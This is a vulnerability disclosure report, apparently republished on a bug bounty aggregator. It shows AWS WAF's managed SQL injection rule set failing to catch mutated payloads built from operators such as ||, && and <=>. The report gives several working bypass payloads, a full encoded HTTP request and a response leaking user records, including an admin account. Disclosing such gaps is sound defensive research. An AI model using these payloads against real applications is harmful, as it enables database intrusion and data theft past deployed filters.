SQL Injection Detection Bypass in AWS WAF Managed Rules (AWSManagedRulesSQLiRuleSet)
AWS WAF's managed SQL injection rule set failed to detect certain syntactically valid SQL expressions built from alternative boolean operators and arithmetic comparisons. An attacker could send such a payload past the WAF so it reaches a vulnerable backend and the database executes it, returning records it should not.
- Disclosed after 38 days
Researchers
This vulnerability was discovered through collaborative security research.
Researchers:
- █████
- █████████
- █████████
Summary
AWS WAF fails to detect certain SQL injection payload variants.
These payloads bypass the AWS WAF SQL injection detection rules and reach the backend application.
When processed by the backend database, the injected SQL expressions are executed successfully, resulting in information disclosure.
This demonstrates that AWS WAF fails to detect a valid SQL injection attack, allowing malicious SQL queries to reach the backend database.
The payload uses SQL grammar constructs that are not currently detected by the AWS WAF SQL injection rules.
The demonstration environment enables multi-statement execution to clearly show the impact of the injected payload.
Tested Environment
Service: AWS WAF
Rule Set: AWSManagedRulesSQLiRuleSet
Configuration: Default configuration
Backend Database: MySQL 8.x
Database configuration: multi-statement execution enabled (for demonstration)
Note: the demonstration environment enables multi-statement execution to clearly illustrate the impact of the injected payload. The configuration was used only to demonstrate the impact of the injected payload.
AWS-WAF-Console:
███
Vulnerability Details
The issue occurs because certain SQL grammar constructs are not detected by AWS WAF SQL injection rules.
Using a grammar-aware mutation engine, multiple SQL payload variants were generated that remain syntactically valid SQL expressions but bypass WAF detection.
These payloads are forwarded to the backend application and executed by the database.
This allows an attacker to bypass WAF protection and perform SQL injection attacks if the backend application contains an SQL injection vulnerability.
The issue appears to be caused by incomplete coverage of certain SQL grammar constructs in the AWS WAF SQL injection detection rules.
In particular, boolean operator mutations and arithmetic truth expressions appear to evade existing detection patterns.
Impact
Because the SQL injection payload bypasses AWS WAF inspection, malicious SQL queries can reach the backend database without being detected by the WAF.
In the demonstration environment, the injected payload successfully altered the backend SQL query logic and returned multiple database records.
Detection Comparison
The following traditional SQL injection payload is correctly blocked by AWS WAF:
alice' OR 1=1--
Result:
HTTP 403 (blocked by AWS WAF)
Like this one: ██████
However the following mutated SQL payload bypasses the WAF.
This payload uses mutated SQL grammar constructs that remain valid for the database parser but evade the current AWS WAF SQL injection detection logic.
alice' || '1' ; && 1<=>0 && 1-1 && 1<=>1 && 1#
Result:
HTTP 200 (request allowed)
Like this one: █████
Steps to Reproduce
- Deploy AWS WAF with the managed rule group:
AWSManagedRulesSQLiRuleSet
- Attach the WebACL to a test application endpoint:
http://████/vuln
Parameter:
username
Like this one: ██████████
- Send the following SQL injection payload:
alice' || '1' ; && 1<=>0 && 1-1 && 1<=>1 && 1#
alice' || '1' ; && 2-1<=>2-1 || 0 && 1<=>1--
alice' && 1 ; && IFNULL(1,0) || 1<=>0--
...
Note: the semicolon character is used to terminate the original SQL expression and introduce additional logic expressions.
This construct appears to evade existing AWS WAF SQL injection detection patterns.
These payloads were generated using a grammar-aware SQL mutation engine and represent syntactically valid SQL expressions that evade signature-based detection.
Example HTTP request:
GET /vuln/api/user?username=alice%27%20%7C%7C%20%271%27%20%3B%20%26%26%201%3C%3D%3E0%20%26%26%201-1%20%26%26%201%3C%3D%3E1%20%26%26%201%23 HTTP/1.1
Host: ██████████
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept: */*
Referer: http://██████████/vuln
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Example HTTP response:
HTTP/1.1 200 OK
Date: Sun, 08 Mar 2026 06:01:05 GMT
Content-Type: application/json
Content-Length: 846
Connection: keep-alive
Server: Werkzeug/3.1.6 Python/3.12.13
{
"mode": "vuln",
"ok": true,
"rows": [
{
"created_at": "Sun, 08 Mar 2026 05:40:08 GMT",
"email": "[email protected]",
"id": 1,
"role": "user",
"username": "alice"
},
{
"created_at": "Sun, 08 Mar 2026 05:40:08 GMT",
"email": "[email protected]",
"id": 2,
"role": "user",
"username": "bob"
},
{
"created_at": "Sun, 08 Mar 2026 05:40:08 GMT",
"email": "[email protected]",
"id": 3,
"role": "user",
"username": "charlie"
},
{
"created_at": "Sun, 08 Mar 2026 05:40:08 GMT",
"email": "[email protected]",
"id": 4,
"role": "admin",
"username": "admin"
}
],
"sql": "SELECT id, username, email, role, created_at FROM users WHERE username = 'alice' || '1' ; && 1<=>0 && 1-1 && 1<=>1 && 1#'"
}
Show in BurpSuite: █████
- Observe that:
- AWS WAF does not block the request
- The payload reaches the backend application
- The backend database executes the injected SQL expression
- The server response contains leaked information:
{
"mode": "vuln",
"ok": true,
"rows": [
{
"created_at": "Sun, 08 Mar 2026 05:40:08 GMT",
"email": "[email protected]",
"id": 1,
"role": "user",
"username": "alice"
},
{
"created_at": "Sun, 08 Mar 2026 05:40:08 GMT",
"email": "[email protected]",
"id": 2,
"role": "user",
"username": "bob"
},
{
"created_at": "Sun, 08 Mar 2026 05:40:08 GMT",
"email": "[email protected]",
"id": 3,
"role": "user",
"username": "charlie"
},
{
"created_at": "Sun, 08 Mar 2026 05:40:08 GMT",
"email": "[email protected]",
"id": 4,
"role": "admin",
"username": "admin"
}
],
"sql": "SELECT id, username, email, role, created_at FROM users WHERE username = 'alice' || '1' ; && 1<=>0 && 1-1 && 1<=>1 && 1#'"
}
This confirms that the SQL injection payload bypassed AWS WAF detection and executed on the backend database.
Evidence
AWS WAF logs confirm that the request was allowed and no SQL injection rule was triggered. █████
This confirms that AWS WAF failed to detect the SQL injection payload.
Root Cause Hypothesis
The bypass appears to be caused by incomplete normalization of certain SQL grammar constructs in AWS WAF SQL injection detection rules.
In particular, the following patterns appear to evade detection:
- boolean operator mutations (
||,&&) - arithmetic truth expressions (
1-1,2-1) - comparison operators (
<=>) - statement termination followed by logical expressions
These constructs remain syntactically valid SQL expressions for the database parser but are not currently covered by the existing detection rules.
As a result, the database parser interprets the payload as valid SQL logic while the WAF inspection engine fails to recognize it as an SQL injection pattern.
Additional Findings
Using an automated SQL mutation engine, multiple payload variants were generated.
More than 10 payload variants were generated, of which at least 5 bypassed AWS WAF detection.
These payloads share common structural properties such as:
- alternative boolean operators
- arithmetic SQL expressions
- modified SQL grammar constructs
This indicates a systematic detection gap rather than a single payload-specific issue, as the bypass payloads share a common structure involving boolean operator mutations combined with arithmetic truth expressions.
Suggested Fix
Improve SQL grammar normalization and inspection coverage in AWS WAF SQL injection detection rules.
Specifically, detection should be extended to cover:
- alternative SQL boolean expressions
- arithmetic-based SQL comparisons
- mutated SQL grammar constructs
Improving normalization and parsing coverage for alternative boolean operators and arithmetic SQL expressions may help mitigate this issue.
Research Context
The payloads were generated using a grammar-aware SQL mutation framework designed to explore SQL parser discrepancies between WAF inspection engines and database parsers.
This technique highlights a potential parser discrepancy between WAF inspection logic and database SQL parsing behavior.
Such parser discrepancies between security inspection engines and database SQL parsers are a known source of WAF detection ga
Impact
Summary:
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely incomplete normalisation and coverage of certain SQL grammar constructs (alternative boolean operators, arithmetic truth expressions, comparison operators, statement termination) in the WAF's SQL injection detection rules.
Impact
Because the payload bypasses WAF inspection, malicious SQL can reach the backend database undetected; in the demonstration environment it altered the query logic and returned multiple database records, though this relied on a deliberately vulnerable app with multi-statement execution enabled.
What the attacker needed
AWS WAF with the SQLi managed rule set; backend app already vulnerable to SQL injection; multi-statement execution enabled (demo only)
The fix
AWS WAF's SQL injection detection rules should be improved to normalise and cover alternative boolean operators, arithmetic-based comparisons and mutated grammar constructs.
How it was found
- Deploy AWS WAF with the managed SQL injection rule group.
- Attach the WebACL to a test application endpoint that takes a username parameter.
- Send a mutated SQL injection payload in the username parameter.
- Observe that the WAF does not block the request and the payload reaches the backend.
- Observe that the database executes the injected expression and the response leaks multiple user records.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A web application firewall (WAF) is a filter that sits in front of a website and tries to block malicious requests, such as SQL injection, where an attacker slips database commands into input fields. Here the filter's pattern list missed some unusual but still valid ways of writing those commands, so the request went through. The report only shows this against a deliberately vulnerable test app, so the WAF gap matters only where the app itself is already injectable.
What is SQL injection?
Input reaches a database query as code, letting an attacker read or change data the application never meant to expose.